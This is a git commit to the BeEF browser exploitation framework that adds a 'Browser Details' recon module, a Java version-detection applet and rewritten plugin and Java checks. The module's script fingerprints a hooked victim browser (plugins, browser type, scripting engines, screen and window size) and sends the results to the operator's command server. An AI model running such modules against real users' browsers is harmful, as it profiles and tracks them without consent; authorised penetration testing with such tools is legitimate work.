Added detect_plugins, rewrote getPlugins and hasJava, added Java Version Class (jvc)

git-svn-id: https://beef.googlecode.com/svn/trunk@506 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
passbe
2010-11-11 11:54:11 +00:00
parent 3aba229685
commit be244d1284
5 changed files with 102 additions and 25 deletions

BIN
demos/jvc.class Normal file

Binary file not shown.

28
demos/jvc.java Normal file
View File

@@ -0,0 +1,28 @@
import java.applet.Applet;
public class jvc extends Applet
{
private String m_ver;
private String m_ven;
public void init()
{
m_ver = System.getProperty("java.version");
m_ven = System.getProperty("java.vendor");
}
public boolean isRunning()
{
return true;
}
public String getVersion()
{
return m_ver;
}
public String getVendor()
{
return m_ven;
}
}

View File

@@ -243,21 +243,18 @@ beef.browser = {
*/
hasJava: function() {
if(window.navigator.javaEnabled()) {
//Java is switched on in the browser, now need to detect whether or not its installed
if (document.getElementsByTagName("head")[0])
var jvc = document.createElement('applet');
var running = false;
jvc.id = 'beef_jvc';
jvc.classid = 'jvc.class';
if (document.body.appendChild(jvc))
{
var ns = document.createElement('script');
ns.type = 'text/javascript';
ns.src = 'http://java.com/js/deployJava.js';
document.getElementsByTagName('head')[0].appendChild(ns);
if (deployJava && deployJava.versionCheck)
{
try {
return deployJava.versionCheck('0.1+');
} catch (e) {}
}
try {
running = jvc.isRunning();
} catch (e) {}
document.body.removeChild(jvc);
}
return running;
}
return false;
},
@@ -281,18 +278,16 @@ beef.browser = {
*/
getPlugins: function() {
var results = '';
if (navigator.plugins && navigator.plugins.length > 0) {
var pluginsArrayLength = navigator.plugins.length;
for (pluginsArrayCounter=0; pluginsArrayCounter < pluginsArrayLength; pluginsArrayCounter++ ) {
results += navigator.plugins[pluginsArrayCounter].name;
if(pluginsArrayCounter < pluginsArrayLength-1) {
results += String.fromCharCode(10);
}
}
}
if (navigator.plugins && navigator.plugins.length > 0)
{
var length = navigator.plugins.length;
for (var i=0; i < length; i++)
{
if (i != 0)
results += ',';
results += navigator.plugins[i].name;
}
}
return results;
},

View File

@@ -0,0 +1,11 @@
beef.execute(function() {
var plugins = beef.browser.getPlugins();
var browser_type = JSON.stringify(beef.browser.type());
var java_enabled = (beef.browser.hasJava())? "Yes" : "No";
var vbscript_enabled = (beef.browser.hasVBScript())? "Yes" : "No";
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
var screen_params = JSON.stringify(beef.browser.getScreenParams());
var window_size = JSON.stringify(beef.browser.getWindowSize());
beef.net.sendback('<%= @command_url %>', <%= @command_id %>, 'plugins='+plugins+'&java_enabled='+java_enabled+'&vbscript_enabled='+vbscript_enabled+'&has_flash='+has_flash+'&browser_type='+browser_type+'&screen_params='+screen_params+'&window_size='+window_size);
});

View File

@@ -0,0 +1,43 @@
module BeEF
module Modules
module Commands
class Detect_plugins < BeEF::Command
def initialize
super({
'Name' => 'Browser Details',
'Description' => %Q{
This module will retrieve the selected zombie browser plugins, browser type
and scripting engines, plus screen dimensions.'
},
'Category' => 'Recon',
'Author' => ['wade','vo','passbe'],
'File' => __FILE__,
'Target' => {
'browser_name' => BeEF::Constants::Browsers::ALL
}
})
use 'beef.dom'
use_template!
end
def callback
content = {}
content['Plugins'] = @datastore['plugins']
content['Browser type'] = @datastore['browser_type']
content['Java enabled'] = @datastore['java_enabled']
content['VBscript enabled'] = @datastore['vbscript_enabled']
content['Has Flash'] = @datastore['has_flash']
content['Screen Parameters'] = @datastore['screen_params']
content['Window Size'] = @datastore['window_size']
save content
#update_zombie!
end
end
end
end
end